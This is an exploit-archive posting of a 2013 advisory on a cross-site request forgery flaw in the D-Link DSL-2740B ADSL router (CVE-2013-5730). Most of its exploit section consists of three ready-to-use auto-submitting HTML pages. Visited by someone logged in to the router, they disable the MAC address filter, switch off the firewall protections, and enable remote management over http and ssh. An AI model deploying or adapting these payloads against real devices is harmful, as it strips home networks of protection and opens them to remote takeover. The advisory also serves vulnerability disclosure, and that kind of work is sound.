exploit the possibilities

D-Link DSL-2740B Cross Site Request Forgery

D-Link DSL-2740B Cross Site Request Forgery
Posted Sep 12, 2013
Authored by Ivano Binetti

D-Link DSL-2740B ADSL routers suffer from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2013-5730
MD5 | e0c06b763e970acdc2074c9dc6871ae5

D-Link DSL-2740B Cross Site Request Forgery

Change Mirror Download
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : D-Link DSL-2740B (ADSL Router) CSRF Vulnerability
# Date : 09-08-2013
# Author : Ivano Binetti (http://ivanobinetti.com)
# Vendor site : http://www.d-link.com
# Version : DSL-2740B
# Tested on : Firmware Version: EU_1.00 (Other release could be affected)
# Original Advisory: http://www.webapp-security.com/2013/09/d-link-dsl-2740b-multiple-csrf-vulnerabilities
# CVE : CVE-2013-5730
+---------------------------------------------------------------------------------------------------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit
3.1 Disable/Enable Wireless MAc Address Filter
3.2 Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
3.3 Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -)
+---------------------------------------------------------------------------------------------------------------------------------+


1) Introduction

D-Link DSL-2740B is an ADSL Router using, also, a web management interface in order to set and change device parameters.


2) Vulnerability Description

The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router
parameters and to perform many modifications to the router's parameters. The default ip adress of this adsl router, used for
management purpose, is 192.168.1.1.
In my Advisory I'll describe only how to carry out the following changes:
- Disable/Enable Wireless MAc Address Filter
- Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
- Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -).
Many other changes can be performed.

3) Exploit
3.1 Disable/Enable Wireless MAc Address Filter
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit</H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/wlmacflt.cmd?action=wlFltMode&wlFltMacMode=disabled">
</body>
</html>

3.2 Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
<html>
<body onload="javascript:document.forms[0].submit()">
<H2></H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/scdmz.cmd?&fwFlag=521472&dosenbl=0">
</body>
</html>

3.3 Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -)
<html>
<body onload="javascript:document.forms[0].submit()">
<H2></H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/scsrvcntr.cmd?action=save&rmtmode=1&rmtport=80&rmtaction=allowall&
ftp=0&http=2&icmp=2&snmp=2&tftp=0&ssh=1&telnet=0">
</body>
</html>
+----------------------------------------------------------------------------------------------------------------------------------+


Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    12 Files
  • 4
    Jul 4th
    1 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    25 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close